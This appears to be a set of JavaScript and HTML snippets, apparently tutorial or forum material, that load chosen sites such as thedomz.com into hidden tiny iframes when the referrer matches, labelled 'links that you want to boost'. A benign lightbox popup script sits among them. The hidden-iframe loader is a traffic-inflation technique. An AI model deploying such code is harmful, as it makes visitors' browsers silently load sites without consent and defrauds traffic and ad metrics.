var aDomains = [".com"];

var aDomains = ["thedomz.com","google.com"];

<script type="text/javascript">
    var sLocation = document.referrer.toLocaleLowerCase();
    //Links that you want to boost
    var rDomains = ["http://www.thedomz.com","http://www.google.com"];
    //Allowed domain referrer
    var aDomains = [".com"];
    var valid = 0;

    //Valid referrer
    for (i=0;i<aDomains.length;i++) {
        //Check referrer
        if (sLocation.indexOf(aDomains[i], 0) > -1)
        {
            valid = 1;
            break;
        }
    }

    //Valid referrer
    if (valid == 1)
    {
        //Loop
        for (i=0;i<rDomains.length;i++) {
            //alert(rDomains[i]);
            invisibleWindow("mydiv" + i,rDomains[i]);
        }
    }

    function invisibleWindow(iframeID, url) {
        divel = document.createElement("div");
        divel.id = "div" + iframeID;
        divel.style.width = "5px";
        divel.style.height = "5px";
        divel.style.visibility = "hidden";

        //Add div
        document.body.appendChild(divel);

        domiframe = document.createElement("iframe");
        domiframe.id = iframeID;
        domiframe.src = url;
        domiframe.style.width = "5px";
        domiframe.style.height = "5px";
        domiframe.style.visibility = "hidden";

        var divid = document.getElementById("div" + iframeID);
        divid.appendChild(domiframe);
    }

</script>

var lightDivHTML = '<a href="javascript:void(0)" onclick="closeDiv();">Close</a><br /><br />Your first script!<br />';

initDivs();
popUP();

function popUP()
{
    var light = document.getElementById('light');
    var fader = document.getElementById('fade');
    var arrayPageSize = getPageSize();
    light.style.display='block';
    fader.style.height = (arrayPageSize[1] + 'px');
    fader.style.display = 'block';
}

//Init divs
function initDivs() {
    //Lightbox
    var divLight = document.createElement("div");
    divLight.id = "light";
    divLight.style.cssText = "display: none;position: absolute;top: 150px;left: 350px;width: 400px;height: 250px;padding: 16px;border: none;background-color: white;overflow: auto;z-index:2;";
    divLight.innerHTML = lightDivHTML;
    document.body.appendChild(divLight);

    //Shadow
    var divFade = document.createElement("div");
    divFade.id = "fade";
    divFade.style.cssText = "display: none;position: absolute;top: 0px;left: 0px;width: 100%;background-color: black;-moz-opacity: 0.8;opacity:.80;filter: alpha(opacity=80);";
    document.body.appendChild(divFade);
}

function getPageSize(){
    var xScroll, yScroll;

    if (window.innerHeight && window.scrollMaxY) {
        xScroll = document.body.scrollWidth;
        yScroll = window.innerHeight + window.scrollMaxY;
    } else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
        xScroll = document.body.scrollWidth;
        yScroll = document.body.scrollHeight;
    } else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
        xScroll = document.body.offsetWidth;
        yScroll = document.body.offsetHeight;
    }

    var windowWidth, windowHeight;
    if (self.innerHeight) {    // all except Explorer
        windowWidth = self.innerWidth;
        windowHeight = self.innerHeight;
    } else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
        windowWidth = document.documentElement.clientWidth;
        windowHeight = document.documentElement.clientHeight;
    } else if (document.body) { // other Explorers
        windowWidth = document.body.clientWidth;
        windowHeight = document.body.clientHeight;
    }    

    // for small pages with total height less then height of the viewport
    if(yScroll < windowHeight){
        pageHeight = windowHeight;
    } else {
        pageHeight = yScroll;
    }

    // for small pages with total width less then width of the viewport
    if(xScroll < windowWidth){
        pageWidth = windowWidth;
    } else {
        pageWidth = xScroll;
    }

    arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight)
    return arrayPageSize;
}

//Close function
function closeDiv() {
    light.style.display= 'none';
    fade.style.display = 'none';
}

<html>
<body>
This is my website, there is only one website like it. I love my website.

<script src="domzlock.js" type="text/javascript"></script>
</body>
</html>

<script type="text/javascript">
function invisibleWindow(iframeID, url) {

divel = document.createElement("div");
divel.id = "div" + iframeID;
divel.style.width = "25px";
divel.style.height = "25px";
divel.style.visibility = "hidden";

//Add div
document.body.appendChild(divel);

domiframe = document.createElement("iframe");
domiframe.id = iframeID;
domiframe.src = url;
domiframe.style.width = "25px";
domiframe.style.height = "25px";

var divid = document.getElementById("div" + iframeID);
divid.appendChild(domiframe);

}
</script>

<script type="text/javascript">
invisibleWindow("ID1", "http://www.thedomz.com");
invisibleWindow("ID2", "http://www.spikednet.com");
</script>